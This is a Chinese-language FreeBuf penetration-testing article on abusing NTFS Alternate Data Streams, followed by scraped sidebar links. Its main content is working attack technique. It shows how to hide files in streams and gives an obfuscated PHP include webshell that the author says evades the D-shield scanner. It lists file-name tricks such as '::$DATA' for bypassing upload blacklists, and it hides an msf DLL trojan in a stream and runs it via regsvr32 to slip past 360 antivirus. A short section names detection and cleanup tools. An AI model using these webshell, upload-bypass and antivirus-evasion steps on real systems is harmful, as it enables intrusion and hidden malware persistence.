Windows ADS在渗透测试中的妙用

2019 年 2 月 23 日 FreeBuf

前言

NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上。利用ADS数据流,我们可以做很多有趣的事情,同时对于企业安全来说这类问题也隐藏着巨大的风险。本文主要讨论利用方式以及如何防御这类攻击。

利用方式

文件隐藏

在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。常用的创建命令有两个:echotype ,echo用于输入常规字符,type则用于将文件附加到目标文件,此类用法通常为CTF出题时候使用。

指定宿主文件

这类情况可以使用命令

echo 9527 > 1.txt:flag.txt

创建目标文件:

正常情况文件无法查看到,可以使用命令:

 dir /r

文件内容可以使用命令notepad 1.txt:flag.txt 进行查看和编辑 查看到文件名:

文件内容可以使用命令:

notepad 1.txt:flag.txt

进行查看和编辑:

此类文件可以通过直接删除宿主文件清除。

单独的ADS数据流文件

这类可以通过命令

echo hide > :key.txt

来进行创建:

创建之后在目录下无文件,也没有依赖的宿主文件,并且此类文件在当前目录命令行下是无法查看的,因为它是依赖于文件夹的ADS数据流文件:

因此需要退到上级目录进行查看:

使用命令:

notepad test:key.txt

可以进行编辑:

像这类文件的清除一种是通过删除文件夹的方式,但是假如这个文件是创建在系统根目录如何进行处理,此时需要用到WinHex Tools - Open Disk功能。

选中目标盘符,找到目标文件夹。

可以进行查看:

如需删除只需在WinHex选中之后按Delete即可。

webshell后门

由于windows xp之后的系统对于ADS文件都没有执行权限,因此隐藏此类webshell需要用到文件包含来进行配合。

首先创建被包含文件index.php:s.txt。

内容为:

<?php phpinfo();?>

然后参考:https://blog.csdn.net/nzjdsds/article/details/81260524的方法,Hex之后通过利用PHP 可变变量进行二次转换,696e6465782e7068703a732e747874index.php:s.txt的hex编码,最终test.php中内容如下:

<?php $a="696e6465782e70"."68703a732e747874";$b="a";include(PACK('H*',$$b))?>

访问test.php即可:

使用最新版D盾扫描也无法发现问题。

PS:这边另外补充一点,文件最好寄宿在纯静态文件,因为像php文件修改后会改变属性,系统层相当于生成了一个新的文件,导致ADS文件失去宿主而消失。

文件上传

这一块主要是用于Bypass上传黑名单验证,因为在我们上传数据流文件时,形如test.php::$DATAtest.php:a.txt这样的后缀,windows系统必定需要创建一个对应的宿主文件test.php,同时假设我们需要上传的文件内容为:

<?php phpinfo();?>

下面是上传是会出现的现象:

| 上传的文件名 | 服务器表面现象 | 生成的文件内容 || --- | --- | --- || Test.php:a.jpg | 生成Test.php | 空 || Test.php::$DATA | 生成test.php | <?phpphpinfo();?> || Test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | \ || Test.php::$DATA\0.jpg | 生成0.jpg | <?phpphpinfo();?> |

可以注意到上传文件名为Test.php::$INDEX_ALLOCATION时会生成对应的文件夹,利用此种特性也可以用于突破UDF提权时遇到无法创建文件夹的问题。

病毒免杀

前面提到过在windows xp 03之后的版本的数据流文件都被禁止了执行权限,因此可以使用wscript来运行vbs,此处在C盘根目录使用命令:

type1.vbs > :2.vbs

创建了依赖C盘存在的数据流文件c::2.vbs ,没有工具正常是无法清除的。

使用命令:

wscript c::2.vbs

可以成功执行vbs。

当然我们今天主要是来测试病毒免杀的,所以首先使用msf生成一个dll木马。

很容易就被确认为病毒。

使用命令:

type test.dll > 1.txt:ms

将dll写入数据流文件:

再次使用360联网完全体进行查杀,无法发现此类木马。

使用命令:

regsvr32 1.txt:ms

运行dll,当然由于病毒行为太明显没作处理,360还是会动态查杀的,这个配合一点其他的免杀技术完全过掉也不难,这边不再多做赘述。

小结

目前杀毒软件和webshell查杀对ADS数据流技术的查杀支持并不是很好,并且木马可能进行依赖于盘符的驻留方式,希望能本文能有所帮助。

检测

检测的工具常见的有LADS (List Alternate Data Streams)、Streams、Sfind等(供参考)

清除

清除方式目前一个是个人用过的winhex和删除宿主文件这两种方式,另一个就是借助相关工具如IceSword删除。

参考

https://www.freebuf.com/articles/73270.html

https://www.cnblogs.com/feiyucha/p/9940895.html

https://blog.csdn.net/nzjdsds/article/details/81260524

https://www.i0day.com/733.html

*本文作者:3unshine,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

登录查看更多
2

相关内容

【2020新书】使用高级C# 提升你的编程技能,412页pdf
专知会员服务
56+阅读 · 2020年6月26日
【实用书】Python机器学习Scikit-Learn应用指南,247页pdf
专知会员服务
257+阅读 · 2020年6月10日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
【经典书】Python数据数据分析第二版,541页pdf
专知会员服务
189+阅读 · 2020年3月12日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
一文看懂怎么用 Python 做数据分析
大数据技术
23+阅读 · 2019年5月5日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
抖音爬虫
专知
3+阅读 · 2019年2月11日
Python | Jupyter导出PDF,自定义脚本告别G安装包
程序人生
7+阅读 · 2018年7月17日
10个深度学习软件的安装指南(附代码)
数据派THU
17+阅读 · 2017年11月18日
Python3爬虫之入门和正则表达式
全球人工智能
7+阅读 · 2017年10月9日
3D Deep Learning on Medical Images: A Review
Arxiv
12+阅读 · 2020年4月1日
Arxiv
5+阅读 · 2020年3月26日
Arxiv
99+阅读 · 2020年3月4日
Arxiv
14+阅读 · 2020年2月6日
Arxiv
34+阅读 · 2019年11月7日
A Comprehensive Survey on Transfer Learning
Arxiv
117+阅读 · 2019年11月7日
Self-Driving Cars: A Survey
Arxiv
41+阅读 · 2019年1月14日
Arxiv
3+阅读 · 2018年11月29日
Arxiv
5+阅读 · 2018年3月6日
VIP会员
相关资讯
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
一文看懂怎么用 Python 做数据分析
大数据技术
23+阅读 · 2019年5月5日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
抖音爬虫
专知
3+阅读 · 2019年2月11日
Python | Jupyter导出PDF,自定义脚本告别G安装包
程序人生
7+阅读 · 2018年7月17日
10个深度学习软件的安装指南(附代码)
数据派THU
17+阅读 · 2017年11月18日
Python3爬虫之入门和正则表达式
全球人工智能
7+阅读 · 2017年10月9日
相关论文
3D Deep Learning on Medical Images: A Review
Arxiv
12+阅读 · 2020年4月1日
Arxiv
5+阅读 · 2020年3月26日
Arxiv
99+阅读 · 2020年3月4日
Arxiv
14+阅读 · 2020年2月6日
Arxiv
34+阅读 · 2019年11月7日
A Comprehensive Survey on Transfer Learning
Arxiv
117+阅读 · 2019年11月7日
Self-Driving Cars: A Survey
Arxiv
41+阅读 · 2019年1月14日
Arxiv
3+阅读 · 2018年11月29日
Arxiv
5+阅读 · 2018年3月6日
Top
微信扫码咨询专知VIP会员